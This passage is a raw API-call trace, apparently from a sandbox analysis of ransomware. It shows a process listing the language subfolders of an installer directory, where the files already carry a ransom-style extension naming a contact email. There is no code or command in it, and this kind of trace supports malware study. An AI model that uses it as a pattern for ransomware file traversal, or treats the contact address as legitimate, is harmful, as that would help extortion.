	[0178.792] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98665226, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98665226, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98913e73, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.792] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.792] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.792] FindClose (in: hFindFile=0x3cf1028 | out: hFindFile=0x3cf1028) returned 1
	[0178.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.793] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1028", cAlternateFileName="")) returned 1
	[0178.793] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.793] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf1028
	[0178.794] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.794] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.794] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9868b479, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.795] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.795] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.795] FindClose (in: hFindFile=0x3cf1028 | out: hFindFile=0x3cf1028) returned 1
	[0178.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.796] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1029", cAlternateFileName="")) returned 1
	[0178.796] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.796] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0fa8
	[0178.797] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.797] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a91503, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.798] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98add7f2, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98add7f2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f0a5b3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.798] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.798] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.798] FindClose (in: hFindFile=0x3cf0fa8 | out: hFindFile=0x3cf0fa8) returned 1
	[0178.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.799] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1030", cAlternateFileName="")) returned 1
	[0178.799] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.799] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0ca8
	[0178.800] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.800] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.800] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989863cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.800] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.801] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.801] FindClose (in: hFindFile=0x3cf0ca8 | out: hFindFile=0x3cf0ca8) returned 1
	[0178.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.801] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1031", cAlternateFileName="")) returned 1
	[0178.802] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.802] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0b68
	[0178.803] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.803] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989d29cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.803] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.803] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.803] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.803] FindClose (in: hFindFile=0x3cf0b68 | out: hFindFile=0x3cf0b68) returned 1
	[0178.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.804] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1032", cAlternateFileName="")) returned 1
	[0178.804] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.804] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0968
	[0178.805] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.805] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c0ebaa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.805] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.806] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.806] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.806] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0178.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.807] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1033", cAlternateFileName="")) returned 1
	[0178.807] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.807] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0fe8
	[0178.808] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
